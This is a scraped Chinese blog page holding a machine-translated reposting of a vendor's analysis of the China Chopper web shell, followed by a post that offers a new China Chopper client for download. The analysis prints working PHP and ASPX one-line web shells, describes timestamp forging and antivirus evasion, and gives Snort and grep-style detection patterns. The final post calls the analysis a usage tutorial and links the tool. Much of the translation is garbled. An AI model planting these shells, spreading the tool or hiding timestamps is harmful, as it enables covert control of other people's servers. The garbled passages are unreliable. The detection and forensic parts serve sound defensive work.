                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp any any -&gt; any 80 ( sid:900001; content:"base64_decode";<p style="margin:5px 0px;-ms-word-wrap:break-word;">http_client_body;flow:to_server,established; content:"POST"; nocase;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">http_method; ;msg:"Webshell Detected Apache";)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">为了减少误报,我们已经收紧的Snort IDS签名专注于中国斩波通过寻找“FromBase64String”和“Z1”如下内容:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with first Command Detected";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">flow:to_server,established; content: "FromBase64String";</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "z1"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000101;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">下面IDS特征查找“FromBase64String”和“Z”的任何组合,随后被一至三个数字的内容 - 这将找到“Z1”,“Z10”,或“Z100”为例的想法:如果第一命令(Z1)被错过了,你还是赶上随后的命令。</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre style="text-align:left;">alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS<p style="margin:5px 0px;-ms-word-wrap:break-word;">(msg: "China Chopper with all Commands Detected"; flow:to_server,established;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">breaking-down-the-china-chopper-web-shell-part-i.html;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">classtype:web-application-attack; sid: 900000102;)</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这两种IDS特征可以被修改为进一步优化时,深度和偏移考虑。一定要放一个有效的SID在实施前和测试签名的性能。<br> <br> 现在,我们已经讨论过检测在网络层面上,我们将看到检测在主机级别也是可以的。由于炮弹必须包含一个可预见的语法,我们可以迅速试图寻找那些在游戏的代码文件。<br> 主持人<br> <br> 许多方法可用于查找包含中国斩波文件。最快和最简单的方法,尤其是在Linux机器,很可能是使用正则表达式。如图10,在你的web目录快速的egrep可以帮助识别受感染的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>egrep -re ' [&lt;][?]php\s\@eval[(]\$_POST\[.+\][)];[?][&gt;]' *.php</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="311" class="alignnone size-full wp-image-2674 landscape-med" style="border:0px currentColor;border-image:none;" alt="image010" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image010.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图10:使用egrep的发现这个网站的shell<br> <br> &nbsp;<br> <br> 正如你在图10中看到,egrep的正则表达式和命令是一个强大的组合。而正则表达式可能看起来像废话,它确实是并不像它看起来那样糟糕。伊恩·阿尔创造了一些正则表达式的教程,可以帮助提高你的正则表达式的技能。这里有两个让你开始:<br> <br> &nbsp;&nbsp;&nbsp; 正则表达式基础知识<br> &nbsp;&nbsp;&nbsp; 使用正则表达式用记事本<br> <br> Windows还提供了一种通过使用本地FINDSTR命令搜索使用正则表达式的文件。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="696" height="94" class="alignnone size-full wp-image-2675 landscape-med" style="border:0px currentColor;border-image:none;" alt="image011" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image011.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图11:使用FINDSTR找到中国砍刀<br> <br> &nbsp;<br> <br> 您可能已经注意到,我们不得不改变了正则表达式一点。这是必要的,以避开一些FINDSTR解释正则表达式的方式。您将运行命令如下:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em><em></em><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这些例子表明检测的PHP外壳。为了找到ASPX外壳,只需修改正则表达式来适应ASPX壳的语法如下所示:</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">egrep -re '[&lt;]\%\@\sPage\sLanguage=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.+unsafe' *.aspx</pre>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R "[&lt;]\%\@.Page.Language=.Jscript.\%[&gt;][&lt;]\%eval.Request\.Item.*unsafe" *.aspx</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如果你不知道,所有的PHP或ASPX文件是在Windows主机上,可以使用dir命令的一些扩展选项,以帮助您确定您可能要运行我们的正则表达式对(见图12)Web文件。</p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">dir /S /A /B *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="510" height="135" class="alignnone size-full wp-image-2676 landscape-med" style="border:0px currentColor;border-image:none;" alt="image012" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image012.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图12:通过Windows使用dir命令递归搜索<br> <br> &nbsp;<br> <br> FINDSTR还必须搜索所有的子目录(参见图13)的选项。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
                <pre style="color:#000000;text-transform:none;line-height:18px;text-indent:0px;letter-spacing:normal;font-size:12px;font-style:normal;font-variant:normal;font-weight:normal;word-spacing:0px;-webkit-text-stroke-width:0px;">findstr /R /S "[&lt;][?]php.\@eval[(]\$_POST.*[)];[?][&gt;]" *.php</pre>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="213" class="alignnone size-full wp-image-2677 landscape-med" style="border:0px currentColor;border-image:none;" alt="image013" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image013.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图13:使用FINDSTR递归找到Web壳的多个实例<br> <br> &nbsp;<br> <br> 结论:<br> <br> 我希望中国斩波器的功能,平台的通用性,交付机制,流量分析和检测这个解释给你的知识和工具,你需要消除这种优雅的设计,但危险的威胁。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p><br class="Apple-interchange-newline">

admin 发布于  2014-12-20 09:20 

剖析中国菜刀第一部分 神器荟萃

中国牛刀:可能是一款小的恶意软件

中国菜刀是一个漂亮的小网站的外壳,没有得到足够的曝光和信用的隐形。除了从安全研究人员基思·泰勒一个好的博客文章中,我们可以找到中国菜刀小有用的信息,当我们在事件响应订婚跑过它。因此,要促进新的东西给市民的知识基础 - 特别是对那些谁碰巧发现在他们的Web服务器之一的中国菜刀服务器端有效载荷 - 我们所研究的成分,性能,有效载荷属性,而这4千字节的检出率威胁。

在客户端的二进制是挤满了UPX和是220672字节的大小,如图1。

image001.png

                                                                                    图1:在WinHex的客户端二进制观看

使用可执行文件UPX压缩解压二进制让我们看到了一些被隐藏的封隔器的详细信息。

C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe 
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011
File size         Ratio      Format      Name
--------------------   ------   -----------   -----------
700416 <-    220672   31.51%    win32/pe     decomp.exe
Unpacked 1 file.


使用PEID(一个免费的工具,用于检测加壳,cryptors和编译器的PE可执行文件中找到),我们看到客户端解压二进制写在Microsoft Visual C ++ 6.0,如图2。


图2:PEID显示,二是用书面的Visual C ++ 6.0

因为字符串不编码,检查打印字符串在解压缩二进制提供了深入了解的后门通信。我们好奇地看到一个参考使用中国(简体)语言参数(图3),以及参考文本“牛刀”(图4)google.com.hk。


图3:打印字符串指向 www.google.com.hk

image004

图4:引用菜刀在客户端的二进制因此,我们强调了客户端二进制文件的一些属性。但什么是它看起来像在使用?中国菜刀是一个菜单驱动的GUI满方便的攻击和受害者管理功能。一旦打开客户端,您可以看到指向www.maicaidao.com例如外壳条目,原本主办的网站壳组件。

要添加自己的目标,右边的客户端中单击,选择“添加”,输入目标IP地址,密码和编码,如图5。


image005

图片5:菜刀的网站shell管理界面

服务器端的有效载荷分量

但客户端是只有一半的远程访问工具 - 而不是可能的一部分,你会发现你的网络上。它的通信依赖于一个小型Web应用程序的形式的有效载荷。这有效载荷是在各种语言,如ASP,ASPX,PHP,JSP和CFM提供。一些原始文件是可供下载,只显示其MD5散列:


Web shell Payload MD5 Hash
Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499

Source:  http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html

即使MD5s是有用的,要记住,这是一个可以很容易地改变,从而产生一种新的MD5哈希基于文本的有效载荷。我们将讨论后的有效载荷的属性,但这里是仅仅基于文本的有效载荷中的一个例子:

ASPX:

 <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

注意,“密码”将被替换为在客户端组件连接到Web外壳时要使用的实际的密码。

在接下来的文章中,我们提供的正则表达式,可以用来找到这个网站的外壳的实例。

效果


两者的有效载荷和所述客户机的能力是令人印象深刻的考虑其大小。网页壳客户端包含了“安全扫描”功能,独立的有效载荷,这给攻击者蜘蛛用蛮力密码猜测对认证门户网站的能力。


image006

图片6:中国菜刀作为一款网站扫描器除了漏洞打猎,此网站的外壳相结合时,在客户端和有效载荷,包括以下具有优良的数控功能:

    文件管理(文件浏览器)
    数据库管理(DB客户端)
    虚拟终端(命令行解释器)

在中国斩波器的主窗口中,右键单击目标URL之一带来了可能采取的行动(见图7)的列表。


image007

图7:数控客户端显示的网页壳的功能截图

文件管理

作为一个远程访问工具(RAT),中国斩波使得文件管理简单。能力包括上传和下载文件,并从受害人,使用文件检索工具的wget从网上下载文件到目标,编辑,删除,复制,重命名,甚至改变文件的时间戳。

image008

图8:文件管理提供了一个易于使用的菜单是由右键点击一个文件名启动

那么到底有多隐形的“修改文件的时间”选项?图9显示在测试目录中的三个文件的时间戳在Web壳修改时间戳之前。默认情况下,Windows资源管理器只显示“修改日期”字段。所以通常情况下,我们的Web外壳很容易脱颖而出,因为它比其他两个文件更新。

image009

图9:以前IIS目录显示时间戳的时间修改

图10示出在Web壳修改的时间戳之后的文件的日期。在我们的Web壳的修改的时间显示为相同的其它两个文件。因为这是显示给用户的默认领域,很容易融合到未经训练的眼睛 - 尤其是与目录多个文件。

image010

图10:IIS目录显示时间戳时间修改后

聪明的研究者可能会认为他们可以当场可疑文件由于创建日期被更改为相同的日期作为修改日期。但是,这并不一定是不正常的。此外,即使在检测到文件时,法医时间表会歪斜,因为攻击者种植该文件的日期是不再存在。为了找到真正的约会文件种植,你需要去到主文件表(MFT)。使用FTK,包住,或其他手段获取MFT后,我们建议使用mftdump(可从http://malware-hunters.net/all-downloads/)。撰稿FireEye研究员迈克SPOHN,mftdump是用于提取和分析文件元数据的一大利器。

下表显示了从MFT被拉为我们的Web壳文件的时间戳。我们之前和时间戳进行了修改后,拉着时间戳。请注意,“FN *”的字段保留其原有的时代,因此没有失去一切的调查!


Category Pre-touch match Post-touch match
siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56
fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01
fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03
fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42
fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04

数据库管理

数据库管理功能令人印象深刻的和有益的首次用户。在配置客户端,中国菜刀提供例如连接语法。

image011

图11:数据库管理需要简单的配置参数进行连接

连接后,中国砍刀还规定,您可能需要运行有帮助的SQL命令。


image012

图12:数据库管理提供与数据库交互的能力,甚至还提供了有益的预填充命令

命令shell访问

最后,命令shell访问是为你渴望的操作系统级别的交互。什么是多才多艺的小网站的外壳!

image013

图13:虚拟终端提供了一个命令shell用于OS互动

有效载荷属性

我们如上所述,这个后门是隐蔽由于一些因素,包括以下内容:

    尺寸
    服务器端内容
    客户端的内容
    AV检测率

尺寸

合法和非法软件通常遭受同样的原则:更多的功能等于更多的代码,这等于更大的尺寸。考虑到有多少功能,这个网站包含外壳,这是令人难以置信的小 - 只有73字节的ASPX版本,或4千字节磁盘上(见图14)。与此相比,其他Web炮弹如鸦片酊(619字节)或RedTeam渗透测试(8527字节)。中国斩波器是如此之小而简单,你可以想见,手动输入壳的内容。


 image014

图14:中国菜刀文件属性

服务器端内容

在服务器端的内容可以很容易地与香草相关的其他文件中忽略了安装复杂的应用程序。代码并不显得太邪恶本质,而是好奇。


image015

图15:文件的内容似乎相对温和的,特别是如果你添加一个温暖和模糊的字一样安全作为外壳的密码

下面是Web壳为它的两个品种的内容。


ASPX:

 

 

 <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>  

 

 

PHP:

 

 

 <?php @eval($_POST['password']);?>  

 

 

客户端内容

因为所有的代码都是服务器端语言,不产生任何客户端代码,浏览到Web Shell查看源作为客户端发现什么都没有。


image016

图16:查看网站壳的来源没有透露给客户端

反病毒检测率

运行Web外壳经过病毒扫描的网站没有病毒由于显示的检出率为0出14,这表明大多数,如果不是全部,防病毒工具将错过网络外壳被感染的系统上。


image017

图17:多种反病毒引擎检查,显示出中国砍刀来了干净的结果

为显示另一张图片也同样如此。无其47反病毒引擎标志中国菜刀恶意的。


image018

图18:多个AV引擎检查显示网页外壳结果来了干净
结论

我们希望这个帖子有先进这款小巧,灵活,隐身网络外壳的理解。如果你正在读这篇文章,你可能会面临中国砍刀现在 - 如果是这样,我们希望您在消除这种害虫的成功。在第二部分中,我们考察中国斩波器的运行平台,并描述其执行机制,流量分析和检测。





admin 发布于  2014-12-20 08:48 

时隔这么久,菜刀再次更新--中国菜刀20141213新版发布--强大的网站管理工具 神器荟萃

这里的菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。

关于中国菜刀

QQ截图20141220092444.png

中国菜刀用途十分广泛,是一款专业的网站管理软件,支持多种语言,小巧实用,用途广泛,使用方便,据说是一位中国军人退伍之后的作品。

之前国外安全公司Fireeye对这款工具进行了详细的剖析,也可以说是一部非常nice的菜刀使用教程:

第一部分(已翻译成中文了):中国菜刀剖析第一部分

第二部分(已翻译成中文了):中国菜刀剖析第二部分

caidao-20141213.zip (右键另存为-保存)
(chopper.exe)md5各版本校验码: 
 20111116 => 5001ef50c7e869253a7c152a638eab8a
 20141213 => 4b4a956b9c7dc734f339fa05e4c2a990




admin 发布于  2014-12-20 08:18